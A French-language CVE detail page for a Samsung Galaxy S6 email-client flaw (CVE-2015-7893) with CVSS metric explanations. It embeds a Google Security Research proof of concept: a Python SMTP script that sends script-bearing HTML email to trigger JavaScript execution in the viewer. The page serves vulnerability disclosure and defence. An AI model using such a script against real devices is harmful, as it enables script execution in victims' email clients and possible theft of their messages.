CVE-2015-7893 : Détail

CVE-2015-7893

8.8
/
Haute
A03-Injection
3.64%V3
Network
2017-04-11
17h00 +00:00
2017-04-11
16h57 +00:00
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Descriptions du CVE

SecEmailUI in Samsung Galaxy S6 does not sanitize HTML email content, allows remote attackers to execute arbitrary JavaScript.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 8.8 HIGH CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

nvd@nist.gov
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 38554

Date de publication : 2015-10-27 23h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

# Source: https://code.google.com/p/google-security-research/issues/detail?id=494 ''' The default Samsung email client's email viewer and composer (implemented in SecEmailUI.apk) doesn't sanitize HTML email content for scripts before rendering the data inside a WebView. This allows an attacker to execute arbitrary JavaScript when a user views a HTML email which contains HTML script tags or other events. At the very least the JavaScript could exploit the attack surface provided within the WebView control. It might also be possible to access local file content or emails depending on the full configuration of the WebView, although this hasn't been tested fully. This can also be exploited locally with the com.samsung.android.email.intent.action.QUICK_REPLY_BACKGROUND intent which will include attacker controlled HTML in the sending email. If the final message was viewed it would be possible for the script to extract the original message from the Document object and potentially post that information to another server. Attached is a simple SMTP client in Python to send an HTML message with script contents to the device. The "me", "you", "me_password" and "smtp_server" variables need to be changed to ones appropriate for the sending email account and the receiving account on the phone. When the resulting email is viewed it should display the URL of the page which is of the form email://M/N where M is the email account ID and N is the message ID which proves that the script code executed. ''' #!/usr/bin/env python import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText # Change the details here appropriate to your configuration me = "attacker@gmail.com" me_password = "THIS IS NOT REAL" you = "project.zero.test@gmail.com" smtp_server = "smtp.gmail.com" msg = MIMEMultipart('alternative') msg['Subject'] = "Hello There!" msg['From'] = me msg['To'] = you text = "Hello There!" html = """\ <html> <head></head> <body> <p> <script>try { document.write(document.location); } catch(e) { document.write(e.message); }</script> </p> </body> </html> """ part1 = MIMEText(text, 'plain') part2 = MIMEText(html, 'html') msg.attach(part1) msg.attach(part2) s = smtplib.SMTP_SSL(smtp_server) s.login(me, me_password) s.sendmail(me, you, msg.as_string()) s.quit()

Products Mentioned

Configuraton 0

Samsung>>Galaxy_s6 >> Version -

Références

https://www.exploit-db.com/exploits/38554/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/77431
Tags : vdb-entry, x_refsource_BID